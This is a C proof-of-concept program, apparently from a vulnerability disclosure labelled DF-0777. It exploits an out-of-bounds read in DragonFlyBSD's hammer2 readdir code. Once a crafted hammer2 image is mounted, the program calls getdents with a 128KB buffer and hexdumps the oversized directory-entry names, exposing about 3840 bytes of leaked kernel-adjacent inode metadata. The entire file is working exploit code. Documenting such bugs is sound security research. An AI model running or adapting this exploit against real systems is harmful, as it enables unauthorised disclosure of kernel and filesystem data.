DF-0777 / readdir_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-0777 PoC: trigger the hammer2_vop_readdir INODE-branch OOB read. * * After a crafted hammer2 image is mounted (root-mount threat model), * getdents(2) with a large buffer triggers the bug. The crafted image * has an INODE-type directory entry with name_len=4096. The kernel calls * vop_write_dirent(..., name_len=4096, ripdata->filename) which does * bcopy(filename, dp->d_name, 4096) — reading 4096 bytes from a 256-byte * field, leaking ~3840 bytes of adjacent on-disk inode metadata to * userspace via the dirent buffer. * * We hexdump the received dirent entries to show the leaked bytes. * * Usage: ./readdir_leak /mnt/h2 */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/dirent.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* DragonFlyBSD struct dirent has no d_reclen; compute it ourselves */ #define MY_DIRENT_RECLEN(namelen) \ ((__offsetof(struct dirent, d_name) + (namelen) + 1 + 7) & ~7) /* getdents is syscall 480 on DragonFlyBSD */ static ssize_t my_getdents(int fd, void *buf, size_t nbytes) { return syscall(SYS_getdents, fd, buf, nbytes); } int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/mnt/h2"; int fd; char buf[131072]; /* 128KB — must be large enough for _DIRENT_RECLEN(65535) */ ssize_t n; int entry_num = 0; fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 1; } printf("=== getdents on %s (buf=128KB) ===\n", path); n = my_getdents(fd, buf, sizeof(buf)); if (n < 0) { perror("getdents"); close(fd); return 1; } printf("getdents returned %zd bytes\n", n); /* Walk the dirent entries */ char *p = buf; while (p < buf + n) { struct dirent *dp = (struct dirent *)p; /* Compute record length (DragonFly has no d_reclen field) */ int reclen = MY_DIRENT_RECLEN(dp->d_namlen); if (reclen <= 0 || p + reclen > buf + n) break; printf("\n--- entry %d ---\n", entry_num); printf("d_ino=%llu d_type=%u d_namlen=%u reclen=%d\n", (unsigned long long)dp->d_ino, dp->d_type, dp->d_namlen, reclen); /* Hexdump the name area */ int dump_len = dp->d_namlen; if (dump_len > 512) dump_len = 512; /* cap display */ char *name = (char *)&dp->d_name; printf("d_name (first %d bytes hex):\n", dump_len); for (int i = 0; i < dump_len; i++) { printf("%02x", (unsigned char)name[i]); if ((i + 1) % 32 == 0) printf("\n"); else if ((i + 1) % 8 == 0) printf(" "); } printf("\n"); /* Count non-zero leaked bytes past the real filename */ int nonzero_past = 0; int check_len = dp->d_namlen; if (check_len > reclen - 16) check_len = reclen - 16; for (int i = 32; i < check_len; i++) { if ((unsigned char)name[i] != 0) nonzero_past++; } if (dp->d_namlen > 64) { printf("*** LEAK DETECTED: d_namlen=%u (>64), " "%d non-zero bytes past offset 32 ***\n", dp->d_namlen, nonzero_past); } p += reclen; entry_num++; } close(fd); printf("\n=== done, %d entries ===\n", entry_num); return 0; } |